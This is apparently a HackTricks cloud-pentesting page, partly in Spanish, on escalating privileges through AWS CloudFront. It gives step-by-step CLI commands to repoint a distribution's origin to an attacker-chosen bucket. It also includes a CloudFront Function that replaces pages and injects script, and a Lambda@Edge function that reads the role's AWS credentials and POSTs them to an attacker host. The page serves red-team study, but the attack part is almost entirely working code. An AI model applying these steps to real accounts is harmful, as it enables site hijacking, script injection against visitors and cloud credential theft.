AWS - CloudFront Privesc

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CloudFront

cloudfront:UpdateDistribution & cloudfront:GetDistributionConfig

Un atacante que tenga los permisos cloudfront:UpdateDistribution y cloudfront:GetDistributionConfig puede modificar la configuración de una distribución de CloudFront. No necesita permisos sobre el bucket S3 objetivo en sí, aunque el ataque es más fácil si ese bucket tiene una política permisiva que permita el acceso desde el principal de servicio cloudfront.amazonaws.com.

El atacante cambia la configuración del origen de una distribución para apuntar a otro bucket S3 o a un servidor controlado por el atacante. Primero obtienen la configuración actual de la distribución:

aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json

A continuación editan current-config.json para apuntar el origen al nuevo recurso — por ejemplo, un bucket S3 diferente:

...
"Origins": {
"Quantity": 1,
"Items": [
{
"Id": "<origin-id>",
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
"OriginPath": "",
"CustomHeaders": {
"Quantity": 0
},
"S3OriginConfig": {
"OriginAccessIdentity": "",
"OriginReadTimeout": 30
},
"ConnectionAttempts": 3,
"ConnectionTimeout": 10,
"OriginShield": {
"Enabled": false
},
"OriginAccessControlId": "E30N32Y4IBZ971"
}
]
},
...

Finalmente, aplica la configuración modificada (debes proporcionar el ETag actual al actualizar):

CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction

An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.

The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:

function handler(event) {
var request = event.request;
var response = event.response;
// Create a new body with malicious JavaScript
var maliciousBody = `
<!DOCTYPE html>
<html>
<head>
<title>Compromised Page</title>
</head>
<body>
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// Malicious JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Replace the body entirely
response.body = { encoding: "text", data: maliciousBody };
// Update headers
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
};
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
return response;
}

Commands to create, publish and attach the function:

# Crear la función maliciosa en CloudFront
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js

# Obtener el ETag de la función en la etapa DEVELOPMENT
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text

# Publicar la función en la etapa LIVE
aws cloudfront publish-function --name malicious-function --if-match <etag>

Add the function to the distribution configuration (FunctionAssociations):

"FunctionAssociations": {
"Quantity": 1,
"Items": [
{
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
"EventType": "viewer-response"
}
]
}

Finally update the distribution configuration (remember to supply the current ETag):

CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG

lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole & cloudfront:UpdateDistribution

An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.

The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:

// malicious-lambda-edge.js
exports.handler = async (event) => {
// Obtain role credentials
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Send credentials to attacker's server
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Error sending credentials:", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modify response headers
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Credentials stolen" })
};
};

# Empaquetar la función Lambda@Edge
zip malicious-lambda-edge.zip malicious-lambda-edge.js

# Crear la función Lambda@Edge con un rol privilegiado
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
--role <privileged-role-arn> \
--handler malicious-lambda-edge.handler \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>

# Publicar una versión de la función
aws lambda publish-version --function-name malicious-lambda-edge --region <region>

Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:

"LambdaFunctionAssociations": {
"Quantity": 1,
"Items": [
{
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
"EventType": "viewer-response",
"IncludeBody": false
}
]
}

# Aplicar la configuración de distribución actualizada (debe usar el ETag actual)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

# Activar la función solicitando la distribución
curl -v https://<distribution-domain>.cloudfront.net/

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

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